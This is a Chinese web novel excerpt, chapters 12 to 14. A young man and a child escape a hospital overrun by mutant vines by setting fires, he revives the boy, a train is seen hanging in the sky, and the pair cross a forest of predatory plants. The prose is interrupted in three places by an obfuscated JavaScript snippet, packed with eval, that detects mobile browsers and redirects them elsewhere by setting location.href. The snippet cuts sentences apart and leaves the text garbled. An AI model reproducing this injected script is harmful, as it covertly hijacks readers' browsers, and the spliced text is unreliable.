但可怕的怪声依旧悬在头顶,像是巨兽发出的哀鸣,在空间里无限回荡,能引起动物对恐惧最原始的震颤。 寂染耳膜剧痛,头也嗡嗡作响。他颤抖着伸出手,推开身上的轮椅,缓缓站立起来。 又有光了,但恐惧也变得更加具象,那盘旋在头顶的巨物,可怕的影子依旧投在地上,还在左右摇晃,发出金属碰撞或拉伸产生的刺耳鸣响。 有什么东西把它拦住了,可能是高压电缆,或者是其他东西,但那并不结实。 “我们得马上离开!” 令人浑身颤栗的预感在脑中不停叫嚣着。 寂染咬着牙站起身,用自己能达到的最快速度一瘸一拐地疾走。 窗户全部震碎了,惨白的光线从两侧照进走廊里,到处是碎渣和玻璃,还有疯长的藤蔓,像潮水一样几乎占据了能到达的每个角落。 再也没有心思观察,寂染冲到安全屋前大喊开门指令。 等门开一条缝,他便急不可耐推开门,径直冲了进去。 “星岑,快起来,我们要走了!” 星岑睡眼惺忪地睁开眼,他还搞不清状况,边打哈欠,边走到墙角脱裤子,看样子想尿尿。 寂染顾不上管他,快速把东西收拾好,还好昨天找到的物资大多打了包。他背起一个,两手各提一个,然后冲到门边朝里大喊—— “星岑,快点!” 星岑提着裤子,眼神茫然,完全不知道发生什么,但看寂染提了包要走,也连忙跟了过去。他像个小尾巴,摇摇晃晃跟在寂染身后。 但走到走廊,星岑脚步一顿,他突然间想起没带走的毯子,那可是妈妈留给他的。 “哥哥!” 他想叫住寂染,可寂染已经跑远了。星岑看着他跑远的背影,黑暗里有些害怕,但他没有犹豫,立刻捏紧拳头,转身小跑了回去。 寂染根本不知道后面掉了个尾巴,那庞然大物摇晃的巨响就盘旋在头顶,像催命的时钟,他两条虚弱的腿几乎跑出了虚影。 心脏呯呯急跳,他感觉像被激发了传说中人类潜能,爆发出了无穷的力量,甚至没觉得身上的包袱有多重,也感觉不到肌肉酸疼。 那些藤蔓从底部蔓延而上,越到下面,藤蔓和苔藓就越多,他像是不小心走进了蛇窝,每一脚都踩在滑腻的藤条上。 寂染不得不放慢了速度,这让他有一瞬间分神,想起后面跟着的尾巴,可这一回头,心跳猛然一滞——星岑不见了! “星岑!” 寂染大喊。 没有回音。 但那些藤蔓的叶子却因为声音开始簌簌响起,寂染脚底的藤条忽然滑动了一下。 他没有察觉,因为他已经抓住楼梯的扶手跳到台阶上。 昏暗的光线从窗洞照进来,少年单薄的身体被笼罩进微闪的浮尘中。 他仰头望着楼上,嘴里仍然在大喊:“星岑!星岑!你在哪里?” 古怪的是,周围没有风,但藤条上的叶子却开始轻轻地颤动起来。 藤蔓在缓慢地蠕动、纠结,然后像软体动物的触手一样,有的从地上竖立起来,有的从天花板垂落。它们全聚集到半空,又迅速归拢成一束,纠缠在一起。 所有动作悄无声息,同时又速度极快,几乎转瞬之间。 昏暗的光线从窗洞里照进来,寂染往上快速走了两步。此时他那股无穷的力量好像用尽了,脸上冒出了很多汗,成串地从脸颊滚落,顺着下巴掉到衣领里。 这让他很痒,他本能地抬手想擦一下,所以稍微偏了偏身。手臂上巨大的包袱却带来强烈的惯性,迫使他直接转了个身,正好看到楼梯一侧的墙壁——他的呼吸骤然停止了。 一条巨蟒的影子投在墙壁上,就在他身后,仅仅一步之遥。 下一秒,那东西就扑了过来,正好在他刚才所在的地方。 寂染没有动,他背贴着生锈的栏杆,整个人僵立在了原地。 正好看清楚那条“巨蟒”的模样,由数不清的藤蔓组成,尖端就像蛇头一样组成了巨大的膨起,昂首在半空中,不停渗出淡青色的粘液。 它像蛇一样,左右摇晃着头部的膨起,似乎在寻找他的位置。 这鬼东西是瞎子! 寂染连忙屏住呼吸,很细微的呼吸动作却又带动了沉重的包袱——“咚!” 一声清脆的撞击声,包袱撞在铁栅栏上,整条走廊都感觉振动了起来。 寂染根本来不及反应,下一秒,那玩意迅速转头,然后猛地用头部袭来,直接“噗”穿刺了过去——正是刚才包袱撞击栏杆的地方! 寂染浑身的寒毛刹那间竖起,他立马果断放弃了那包袱,顺手扯开了上面的活结。 里面的东西立刻稀里哗啦散落到台阶上,紧跟着又顺阶而下,滚进底下的藤蔓里。 那东西立刻跟着声音活动了起来,从一束散开分成几十条,精准地刺入每个发出声音的方向,力气之大,竟直接从一些坚硬的金属物件穿透了过去! 寂染目瞪口呆,正思考怎么摆脱,就听一阵沙沙的脚步声,小猫一样的呼唤声紧跟着在头顶响起。 寂染抬头,就看见星岑的头从楼上的栏杆间探出,正熠熠发光地盯着他。 “哥哥!” 寂染浑身一颤,那堆许多插着各类小物件的藤蔓又颤颤巍巍竖立起来,像一群小蛇,瞄准了星岑的方向。 “快跑!” 寂染慌乱中发出一声惊呼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240342|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星岑的角度只看得见他,他正疑惑,就看到一群墨绿色的“小蛇”疯狂冲向寂染,还有一小部分则直直朝他冲来! 星岑整个人吓傻了,就在那东西要接近时,忽然“噗”的一声闷响,被砸偏了方向。 寂染用力挥舞手上剩下的包袱,把它们全砸到一边,自己则两三步跳到台阶上,在下面朝星岑往楼梯间一指:“去窗户边上!” 星岑连忙噔噔噔往下小跑,那双会发光的运动鞋,竟跟着发出“叽叽叽”的声响,吸引来不少藤蔓注意。 短短几步台阶,寂染已经汗如雨下,他不停挥舞包袱去砸,一边注意自己,又要小心星岑的方向。 星岑已经跑到窗洞前,焦急地望着他,又不敢喊出声,只能拼命朝他招手。 最后一个台阶,寂染猛地朝前扑去,紧跟着像刚才一样把包袱迅速松结,并摔到旁边的铁栅栏上,整个过程不过呼吸之间。 星岑紧张得快喘不过气来。 只听稀里哗啦一阵动静,包裹里的东西像骤雨般,从包里散落,那些原本朝他袭来的藤蔓猛然一顿,紧接着迅速朝声音的方向疾速涌去。 趁这刹那间的空隙,寂染猛然起身,一把抱住惊呆了的星岑,就朝窗洞一跃而起! 凌厉的破空声立刻响彻耳边。 星岑感觉自己身体在往下坠,被系在脖子上的毯子被风吹得烈烈作响,裹住两个人的身体。 强烈的失重感下,他本能地搂紧了寂染的脖子,就看那尖锐的藤蔓已经反应过来,朝他们疾速袭来! 如影随形的墨绿色影子,就像催命的死神,紧紧对准寂染的后脑。 星岑慌忙中抬手,捂住寂染的头,把他的头往下猛力一压,破风声紧随其后。 医院的楼层比一般住房要高得多,从二楼跳下去,不高也不矮,但地面茂密的灌木丛能充当缓力。 然而蛇一样的藤蔓却追得越来越紧,星岑看过去,就见他墨绿色的尖端仿佛滴着涎水的獠牙,他心头一颤,害怕得闭上双眼。 眼看就要落地,星岑感觉自己的脖子被一股巨力拽了一下,随后整个人腾空飞起,被迫和寂染分离,还不等他叫喊一声,窒息感便刹那间席卷了他。 与此同时,寂染感觉手里紧紧抱着的陡然一空,还不等去抓,就已经一头扎进地上的灌木丛。 等他回头,就发现星岑悬吊在半空中,一张小脸憋得发紫。 那藤蔓紧紧扯住了毯子一角,像成功抓到猎物的野兽,正把毯子一点点往楼上拖去。 “星岑!” 寂染倏地起身,狂奔到下面,对着星岑嘶声大喊:“快把毯子解了,跳下来!” 星岑发不出声,死命扯住绳扣,拉住其中一节想往外拉,奈何他手指太短,力气也根本不够,蹬了两下腿后,被勒住的脖子越来越紧,额头和脖子都暴起紫红色的青筋,眼看就要不行了。 他用尽全身力气,发出最后一声微弱的呼喊:“哥哥……” 刹那间,寂染目眦欲裂。 上方的毯子已经被拉到窗框上,被上面的金属扣缠住,于是分散的藤蔓陡然收拢,用了强劲力道猛地朝后一拽。 “呯”一声,生锈的金属扣断裂,勒在星岑脖子上的绳结立刻陷进他细软的喉咙。 12. 找妈妈的路上(十二) 仿佛被人朝喉咙猛击一拳,星岑瞬间昏迷过去,两手垂落,眼睛也翻起白眼。 寂染急得发出困兽般嘶吼。 他捡起地上的石头拼命向上砸,可砸了四五下没能砸中,而星岑的头已经被拽进窗口。 “不行,这样不行,该怎么办。”寂染睁大眼睛,强迫自己冷静下来。呼吸间,他忽然想到什么,果断把背包拆下,飞快从里面拿出一罐酒精。 这时候他浑身颤抖得厉害,手勉强能拿稳酒精光滑的玻璃瓶,做不了开盖这种精细的动作。他想都没想,直接上嘴用大牙咬下,然后含了一嘴的血和玻璃渣,往里迅速塞纱布。 “啐——” 吐掉带血的唾沫,他迅速打开打火机,对准酒精瓶的纱布。 “咔”一声! 火苗燃起,纱布点燃,寂染朝后狂奔几步,然后用尽全身力气,对准大厅正不停蠕动的藤蔓丛,狠狠投掷了过去! “嗖——”破空声响起。 一串红色火苗在半空中划出抛物线,准确无误地落入藤蔓中,只听“呯”一声玻璃瓶炸裂,无数玻璃渣混合着火星烟花般朝四周爆开。 寂染果断又扔了四个。 那简易酒精瓶,不像□□,缺少关键的汽油不会引发大规模的爆炸,但有了酒精的助燃能轻而易举地点燃四周干燥的枝叶。 被废弃掉的医院大厅满是垃圾,最开始只是枝叶着火,冒起不起眼的白烟。 随后火烧断枝叶落在下面的废纸上,小火陡然间燃成大火。火瞬间像涌动的巨浪一样,从四面八方的角度,开始疯狂蔓延,腾起深灰色的浓烟。 寂染远远看过去,就见灰烟里巨大的藤蔓如巨蟒般,痛苦地摔打晃动,一会儿撞到柱子上,一会儿撞在梁或墙壁上。 原本就岌岌可危的建筑发出骇人的断裂声,水泥板和石屑都纷纷往下掉。 这时候,星岑双腿无力垂在空中,柔软的身体已经被拽到进入了窗框,只是无意识张开的胳膊在移动过程中卡在了幕墙的金属外框上,导致藤蔓的拉扯动作不再顺畅。 那些分成好几缕的藤蔓,打算故技重施,再合成一股。 与此同时,下方的大厅已经燃成火海,并且那些火立刻以光的速度迅速吞噬能燃烧到的所有物品。 一开始只是第一根蠕动的藤蔓,但在藤蔓打算蓄成一股时,立刻像火烧连船一样,疯狂的火龙迅猛地窜到其他藤蔓上。 “轰!” 汹涌的火龙猛然冲上二楼。 寂染快步疾奔到窗下,张开手。 巨大的毯子从空中落下,仿佛一片浮云,或是一个降落伞,鼓噪的风声烈烈作响。 这一刻,寂染的呼吸都停止了,他睁大眼睛,视线锁定那毯子下小小的一团。 下一秒,想象中的重力稳稳落在怀中,带着他整个人跌倒在前方柔软的杂草中。 巨大的毯子随之飘荡落下,轻柔盖在两人的身上。 寂染深吸一口气,掀开毛毯,从地上坐起来。 “星岑,醒一醒。” 他低头看向怀中的星岑,轻轻晃动小孩的身体。但小孩却双眼紧闭,脸颊煞白,嘴唇发乌,似乎已经没有了呼吸。 寂染愣了一下,霎时间脸色惨白。 他双手颤抖着把孩子在地上放平,轻轻捏他的脖子,还好没有断,但是…… 寂染摸不到他的脉搏了。 他一时有些喘不上气,他紧紧盯着小孩的脸,颤声喊:“星岑……” 没有回应。 他颤抖地把手放在星岑的胸膛上,可就哪怕一丁点微弱的跳动都感觉不到。 这孩子没了…… 就几分钟的工夫。 活生生的一条命就没了。 还是太晚了,一切都太晚了。 火焰炸裂声在不远响起,到处都是烧焦的气味,所有一切仿佛都在这一瞬间破坏殆尽。 寂染痛苦地抱紧头,他昨晚才发誓要好好照顾这个孩子,他们才相处短短一天的时间。 从这一瞬间开始,这个可怕的世界,很可能只剩下他自己孤身一个人了。 上涌的血液让寂染的耳朵嗡嗡作响,他剧烈地喘息,脑海里却疯狂运转所有学到的东西。 不行,不能这么简单地放弃,他答应好了,要帮这个孩子找妈妈!所以他不能死,在找到妈妈前,他一定要好好活着! 寂染擦了把脸上的汗,再次把目光投向星岑。 “星岑,说好的帮你找妈妈,你不能先走了。” 说完,他坚定地俯下头,对准星岑的嘴,开始度气,然后他起身,用力按压星岑的胸部。 一下、两下……他心里默默数着数字。 汗水从鼻尖滚落,他不停俯下腰度气,然后起身按压胸腔。 他执着地反复做着,一遍又一遍,仿佛不知疲倦,目光坚定不移,手却不停在颤抖,眼前的视线也越来越模糊。 做了不知道多久,时间越长,他越意识到无法挽回。 他浑身的战栗越发厉害,死亡和孤独的恐惧也越来越深,他切身体会到这个世界的残酷和冰冷。 神无情抛弃了他的信徒,收回了一切可以创造奇迹的可能。 没有奇迹。 终于,寂染停下了动作。 在闪烁火光的废墟中,他颤抖着伸出手,把星岑从地上抱起来。 星岑的手无力地垂下,圆乎乎的脑袋也歪到一边,像个没了气的气球。 寂染抬手,把他的头靠在自己的怀里。 他转过身,看向不远处的火海。窜动的火光在他脸上明明灭灭。 就这样毁灭吧。 他想。 在烈火中与这个该死的世界一道毁灭。 只剩下他独自一人的世界,再也没有半点活下去的意义。 痛苦,折磨,悲伤,恐惧,那些属于人类无意义的情感会随风消失,在那以后会生出其他新的智慧生物。 地球永远都不会毁灭,毁灭的只有上面的某些生物。就像消失的恐龙,人类也要退出历史舞台。 下一个主宰者或许是植物,那些蛇一样危险的藤蔓,或许是一条海里的鱼,又或者是更奇特的生物,比如那个消失掉的白色怪物——那都不重要了。 至少对寂染不再重要。 他只是运气不太好,撞上了人类文明的崩塌。 漆黑的世界里,他只需要光和热。 那东西产生了人类的文明,也该由它毁灭最后的人类。 寂染站在火海前,热浪扑面而来。 金色的光芒像永不灭的太阳,那样炙热,又那样危险。 他深吸一口气,搂紧了怀里的星岑,朝前踏出一步—— “星岑,我带你去找妈妈!” 火舌舔了一口他的鞋底,他立刻感到一阵火辣辣的灼烧。 人类求生的本能暂时阻止了他踏入火焰的行径,他闭上眼,颤抖着咬紧牙关,更加用力的抱住怀中的小孩,借由他的柔软,努 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240343|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力抗拒本能,试图踏下那进入毁灭的一步,幻想自己是一只勇敢的飞蛾,却迟迟下不了脚。 突然,面前的一块玻璃被炸裂,火星从地上弹起,引起一阵旋风,那阵风带动了浓烟,朝着他的方向迎面扑来。 “咳咳咳咳——” 剧烈的咳嗽声立刻响起,寂染难受地抬手捂住口鼻。 与此同时,就在他剧烈的咳嗽声中,突然混杂进一串声音较小的咳嗽声。 寂染踏在一半的脚步随即悬在半空中,他不可思议地低下头,就见到星岑快速颤动的睫毛,像羽毛轻轻骚着他脆弱的神经,他甚至不敢确定这是否是大脑阻止他死亡产生的幻像。 “哥哥……” 下一秒,星岑痛苦地皱起脸,大声呛咳起来——这里的烟尘太大了,他原本好不容易死里逃生的喉管,还受不了那么大的刺激。 寂染在下股浓烟扑来的瞬间,立刻转身,小跑着远离火场。 失而复得的喜悦瞬间让他腿脚变得轻快,不禁原地旋转蹦跳起来,这简直像奇迹,不,神迹一样。 他心情一时大起大落,一边跑,一边忍不住低头去看小孩的模样。 小孩那张乌青发紫的脸正慢慢变红,原本冰冷的身体,不知道什么时候又有了温度。 而他软绵绵的身体正贴在寂染身上,只见他缓缓地睁开眼,用那双紫色的眼睛盯着寂染仔细看。 十几秒后,他用略微嘶哑的声音,虚弱地问:“哥哥,你怎么哭了?” 寂染不知道自己哭了,他闻言抬手擦了下眼睛,才发现脸上已经湿滑一片。 但那都无所谓了,他紧紧抱住星岑,低头在他柔嫩的小脸上猛亲一口,笑着说:“我这是喜极而泣,太开心了。” 星岑听不明白,但不妨碍他跟着傻笑。 随后他注意到身后的大火,不禁惊呼一声:“医院起火了!” “嗯。”寂染停下脚步,他眯着眼朝医院看去。 火焰蔓延得很快,里面疯长的植物成了最好的可燃物,尤其是那些变异的藤蔓,带着火苗四处逃窜,只需须臾的时间,大火就吞噬了整栋大楼。 黑色的浓烟正滚滚从窗洞里冒出来,不时从里面传来噼里啪啦的炸裂声。 偶尔会有火星跟着炸裂来的碎渣,像流星一样,在空中划过一道弧形的光带,然后直直坠落在四周的杂草丛里,慢慢引燃那周围的一小片。 医院建立在一片人烟稀少的荒地上,周围种满了各种植被,到这种时候,那些植被无人打理下,开始成倍的疯长。 火焰会跟着风飘向远方,烧尽遇到的所有一切。 这里不能再久待了。 寂染轻轻吁出一口气,把星岑搂紧,朝医院外的围墙跑去。 刚走出两步,寂染忽然觉得自己的领子被扯了两下。 于是他停了下来,回头看向星岑。 却见星岑正仰着头,用一种疑惑的表情盯着天空。 然后他伸出手,指着头顶,哑着声问:“哥哥,那是什么啊?” 寂染微微一愣,忽然意识到自己好像忘记了一件很重要的事情,促使他们尽快离开医院的原因——那突然从天而降,悬停在医院上空,犹如蛇怪,巨大的神秘黑影。 他眨了两下干涩的眼睛,抬起头,看向天空。 而接下来看到的场景,让他整个人惊骇到大脑一片空白。 只见医院的上空,浓烟之上,停着一辆有八节车厢,像长虫一样扭曲、折叠的火车。 13. 找妈妈的路上(十三) “那是什么?火车吗?” 此刻,熊熊火焰汹涌燃烧,如乌云般的浓烟滚滚袭上半空,炸开的火星不时飞溅到烟雾之间,像是正电闪雷鸣的天空。 而深绿色的钢铁巨兽盘旋在那片浓云之上,一对置于前后的强光灯犹如被乌云笼罩的黑夜中最闪烁的星星。 如果不是它外形过于和人类曾使用的绿皮火车相似,很容易被当成传说中长满墨绿色鳞片的腾云怪兽。 但比起怪兽,此时此刻,从高空坠落下的火车显得更加不可思议。 除了奇幻故事童话传说,没有任何一本科普书会告诉你,火车能在空中行走。 更何况它很明显是从天上掉下来的。 不是飞机,是那个必须在轨道上行驶的火车。 从天而降的火车? 太荒谬了! 火光冲天,几乎照亮周围所有黑暗,但当寂染仰头望去,依旧看不清上空的模样。 在他记忆里,天空应该是辽阔并湛蓝的,就算是黑云压阵,又或是满布雾霾,也能在光照的反射下透出天空的轨迹,从没有像现在是连光都照不透的令人压抑的黑暗。 就在他胡思乱想之际,剧烈的嘎吱声忽然响起,上窜的火舌舔上了空中悬空的藤蔓——那些和高压电缆盘结一起的藤蔓,原本阻挡了火车的下坠,此刻却迅速被点燃,火车危险地晃荡了起来。 “哥哥,为什么天上会有火车?”星岑小声问,他睁大眼睛,努力向上看过去,声音里没有恐惧,只有好奇。 在他好奇张望的时候,一声刺耳的汽笛声突然响彻四周。 星岑吓了一跳,脸色有些苍白地问:“里面会有人吗?” “不知道。”寂染摇头。 又是“嘎吱”一声巨响,像野兽的哀鸣,在空阔的废墟里久久回荡。 寂染心头一颤,莫名感到此地不宜久留。 火光烧红了整片天空,忽然前方,响起一阵杂乱的沙沙声。 寂染循声望过去,下一秒,瞳孔骤缩。 只见一群密密麻麻的黑点正从燃烧的废墟里涌出,然后聚集成黑压压的一片,朝他们迎面狂奔而来。 星岑紧张地拽紧拳头,就见那群黑点跑到面前,是一群肥大的灰黑色老鼠。 寂染脸色刹那间变得苍白,他只觉头皮发麻,立刻捡起地上的石头,准备当作武器。 可当鼠潮在靠近他们时,根本没有理会眼前的人类,而是把他们当作障碍物,敏捷又迅速地避开,又在掠过他们后迅速聚拢,疯狂朝铁网圈禁的森林跑去。 “咱们也要赶紧走。”把星岑和背包调换了个位置,他跳到身前翘起的石板上,转头望向火焰深处看了最后一眼。 一小时前,那里还是他以为能平安度过漫长时间的“安全屋”,此时却已经被大火焚烧,而很快,又会被上方的钢铁巨兽夷为平地。 那些还未被他发现的秘密,或许将永远埋藏在废墟之下。 寂染深吸一口气,再没留念,迅速地转身,跟随狂奔的鼠潮,逃进前方没有边际的黑暗森林里。 从倒在地上的铁围栏上跨过,在火光照耀下,另一端黑色的轮廓渐渐清晰,寂染在地上找到一块生锈的铁牌,上面有医院的简易地图。 不是那种建造在城市内的大医院,这所医院建立在与世隔绝的森林深处,在一座海拔五百米左右的低山上,三面围海,唯一离开的路只有一条双道马路,能通往森林边缘的高速。 但现在那条路找不到了,丰茂的植被遮盖了所有人类的痕迹,他们像置身在非洲的原始森林里,到处是看不到顶的参天大树。 未免迷路,寂染只能跟上那些疯子一样的老鼠。 幸运的是,这里的植物没有变异,寂染没有发现那种像蛇一样会动的藤蔓。 不过尽管如此,寂染还是多了个心眼,故意落在鼠群的后面。就算真的有变异植物,最先遭殃的也是在前面开路的它们。 “我看到有人在拍窗。”走了不知道多久,星岑忽然开口。 他搂紧寂染的脖子,喷出的热气就洒在寂染的耳轮廓上,他轻轻吸了口气,补充道:“就在那个火车大叫的时候,我看到窗户上出现了好多黑影,他们一直在动来动去,想从里面出来。但是我太害怕,所以没有吭声。” 他迟疑着小声问:“我……是不是做错了。” 没有回答,寂染沉默地小跑着。 四周很安静,只有老鼠乱窜的声响,还有寂染微喘的呼吸声。 微风撩起两边汗湿的额发,星岑略微转头,就看到寂染颈后,衣服里有什么在发着绿色的荧光,但等他努力去看,却发现什么也没有。 有什么东西在脑海里一闪而逝,但他捕捉不到,只能茫然睁着眼睛,感觉内心浮起一种难以理解的古怪感觉。 翻过一个小坡一样的树根后,寂染喘了口气。 他抬手擦了擦额头的汗,轻缓地摇头:“没有,我什么也没看到,肯定是你看错了。” 一辆火车从天而降已经足够诡异了,怎么还会有人呢? 就算真的有活人,他们也救不了,没有任何办法能凭空爬上那么高的高空。 而且即使医院没有起火,在火车砸下来的瞬间,里面所有活着的东西也会被因为高空坠落砸得粉碎。 更何况,在经历了那么多诡异离奇的事情后,寂染觉得就算星岑真的看到了什么,但那……很可能不是人。 这些话自然不能告诉小孩,寂染心里默默想着。 周围气温变得更高了,寂染走得气喘吁吁,他感觉自己已经到达体力的极限,可他还是没有放下星岑。 因为星岑太矮了,他的腿还没有大树从泥土里翘起的根须高。相对让他自己走,还不如把他背起来,逃命的速度还能快一些。 但现在的问题是,他也是个病秧子,如果大火真的蔓延过来,那不过是转瞬之间的事,他就算拼了命也躲不开。 “如果能找到一条河就好了。”寂染爬到高处,朝远处看去。视野里却全是树木虬结的枝干和肆意生长的植被。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240344|197702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 而越往里走,树木越发茂盛,光线也就越暗。 当走进密不透风的黑暗时,星岑打开了手电筒,像探照灯一样根据寂染的指令照路。 “左边照一照,能看见那些老鼠吗?” 星岑摇头,又把手电筒晃到右边。 “它们跑得太快了。”寂染无奈地叹了口气。 “也许它们钻进洞里呢?” “或许吧。” “肯定的,小花经常说老鼠的儿子会打洞。” “那你也会打洞?”寂染听得心不在焉,他捡了根光滑坚硬的断枝,用小刀把上面的刺刮掉,打算用它来做武器,也可以帮忙探路。 星岑不满意地说:“我又不是老鼠的儿子,我是爸爸妈妈的儿子。” “哦,那你不会挖洞啊。”寂染语气有些惊讶。 “我当然会!”星岑忍不住争了起来,“我可以用小铲子挖,我还挖出过地堡,里面能装好多人那种。” 这一听就在吹牛了,但寂染决定不拆穿他,认真夸了一句:“真厉害。” 星岑开心起来,晃动起手电筒也更加起劲,连指令都不需要,不停换左换右,弄得寂染有些眼花。 他不由得停下动作,刚想叫星岑不要乱晃,忽然在光源一闪而过的地方,出现了一条粗长没毛的粉色尾巴,很像是老鼠。 可还没等他看清,星岑拿着的手电已经换了个方向。 “等等。”寂染连忙喊住他,“照刚才中间那堆灌木丛。” 那正是寂染刚才寻找老鼠脚印,决定将要走的路。 星岑立刻听话地把光源打过去,寂染定睛一看,的确是老鼠的尾巴。 只是那根尾巴现在垂在灌木外面,以一种固定频率轻轻抽搐,而它长满毛的身体已经扎进了灌木丛的里面,什么也看不见。 这个情景,莫名让寂染有些发毛,他警惕地朝后退了一步。 “哥哥,那是你要找的老鼠。”星岑没察觉有问题,反而献宝一样,直接高高举起双手,霎那间,光源能照射的范围更大了。 而光源扩大的一刹那,寂染瞳孔紧缩,全身的汗毛都竖了起来! 只见惨白的光线下,突然消失的数百只老鼠赫然出现,不过却只剩下破破烂烂的一层皮和斑斑白骨,全部堆叠在灌木丛周围的草地上。 星岑显然看到这一幕,整个人惊呆了。 “哥哥……” “嘘——” 寂染示意他安静,自己慢慢朝后退,躲到旁边的一棵树干粗壮的大树下面。 然后,他举起刚才削好的长棍,朝那片暗红色的灌木丛猛地一捅! “唧——” 一声惨叫。 寂染猛地抽回木棍,就见灌木里窜出数条蛇一样淡紫色细藤,每根细藤的尾端竟都挂着一只半死不活的老鼠,像喝醉酒一样,耷拉个舌头,眼睛半睁不睁地吊在半空。 而投出的木棍好巧不巧,恰好插中了其中一只。那只老鼠仿佛骤然清醒,发出歇里斯底的惨叫声。 14. 找妈妈的路上(十四) 星岑捂住耳朵,牙齿咯吱咯吱打颤。 寂染头皮阵阵发麻,他试图抽回木棍,却发现那细藤居然还布满毛刺一样的吸根,全都死死扎进老鼠的身体里,正一汩汩吸食着老鼠的生命。 一大一小同时倒抽一口凉气,寂染果断放弃木棍,背起星岑转身就跑。 星岑吓得脸色发白,两只手紧紧抓住寂染的领子,嘴里一直反复嘟囔:“我再也不要圣诞树了,我再也不要圣诞树了……” 寂染也跑得跌跌撞撞,他尽量绕开了所有的灌木丛,如果遇到不确定的路,就拿石头或者木棍去砸去捅。 森林的路异常崎岖,有的裂开像山沟一样的沟壑,有的又挤压成连山坡一样的褶皱。 平素那些弱小的植被也开始暗藏杀机,开始主动捕猎靠近的幼小生物。 它们好像在这里没有天敌,但好在还没有进化出腿,只要注意地上的尸骨,就能小心避开那些变异植物。 寂染背着星岑,整整走了二十几个小时,累了就放星岑下来,两人牵着手慢慢走。 寂染不敢停下来休息,他害怕黑暗里隐藏着什么更可怕的东西,也害怕身后不知道什么时候会追来的大火。 就在他快要支撑不住,感觉自己快要倒下的时候,突然耳边传来星岑兴奋的喊叫:“哥哥快听啊,是海声!” 寂染努力倾耳去听,然而他什么也没听到,只闻见一股呛鼻的硫磺味。 然而还不等他细究,突然毫无征兆的,寂染狠狠摔倒在地,柔软的苔藓撑起他的身体。 “哥哥?” 模糊中,他依稀听到星岑紧张的追问声,正想开口应声,可刚一张嘴,便坠入了无尽的黑暗,彻底昏死了过去。 不知道在黑暗里待了多久,忽然,他感到掌心微微发痒。 “小染,这就是海,你能闻见一点很淡的咸味,那就是海的味道。” 青年人在轮椅旁蹲下,用手指一遍又一遍在少年的手心里画字。 寂染读懂了,他抽动了下鼻子,但没有闻见咸味。 自从失去视力和听觉后,他的嗅觉就不受任何干扰,变得异常灵敏。 那是一种难以形容,非常复杂的臭味,会让他想起飘在水面上的海藻,也会想起腐烂死掉的鱼和螃蟹。 海不是咸的,只是人的大脑有时候被很多外在的东西误导,比如所见所听。 手又被握住,舅舅的手很好认,周围大多数人,他们的食指和中指上有明显握笔留下的茧。 但舅舅的茧位置不同,因为他不爱学习,又很小就跟别人出国鬼混。 会跑到非洲丛林,沙漠深处,宗教热城,战乱之地……那时候枪总是他的必备物。 寂染最近总能想起这些事,因为他总想起父母。 每当收到世界各地寄来的明信片的时候,寂妈妈脸上总是会流露出又欢喜又担心的神情。 然后轻轻用手抚摸着寂染的头说:“还好你不是个叛逆的孩子。” 叛逆的舅舅回来了,在他手心写下新的句子:“这里是全球最好的神经外科医院,他们看过你的病历,说是个很简单的手术,时间就定在一周后。等这次手术完,你就能恢复视力和听觉了,到时候我再带你来看海。” 寂染没有动作,他始终沉默着。 失去视力是一件很可怕的事情,你的世界会失去光彩,变成一片黑暗。 而失去听力更加可怕,因为你会紧跟着失去说话的能力。 最后不能看,不能听,也不能说。而更悲惨的是,他还不能走。 真是悲哀,像被关在牢笼里,接受最残酷的惩罚,可他偏偏想不到自己犯了什么罪。 所以,寂染学会沉默。 有时候他安静地坐在轮椅上,一发呆就是一整天,像一缕空气,常常让人忘记他的存在。 他也不知道周围有没有人,偶尔会有人来碰他。 大多数时候是指示他下一步动作,有时候是想通过触碰告诉他消息,譬如现在。 舅舅粗糙的手指摩挲着他的手心,痒痒的,一下又有一下笔画着:“小染,A国传来好消息,说他们的探测器在黑洞底下发现了数十名幸存者。那个黑洞就出现在你们出事后的一个月,距离现在也快两年,居然还是发现有人活着——你明白这代表了什么吗? “我找人拿到了现场录下的视频,那些活着的人,没伤没病,只是有点畏光,简直是个奇迹。所以我马上联系他们,借到了那种探测器。 “今天这时候,探测器应该已经运到现场,救援队答应我会重新派一队经验更丰富的人下去。明天……明天我也会跟着下去。小染,等你手术完,说不准就能看到他们了……” 这段话舅舅在他手心里不厌其烦写了好多遍,从一开始难掩激动到手指颤抖,到后来平静镇定。 寂染始终没有回应,只是沉默地坐在轮椅上,和平时一样,面无表情,像个人偶。 或许他根本没弄懂意思,那段话实在太长了,就算最后简短成——“新探测器,有希望,新的救援队。” 直到青年人要把手拿开的时候,他忽然动了。 就像突然从长久的沉睡中苏醒,一把抓住了对方,然后深吸一口气,回忆着字词的发音,艰难地开口:“留……下。” 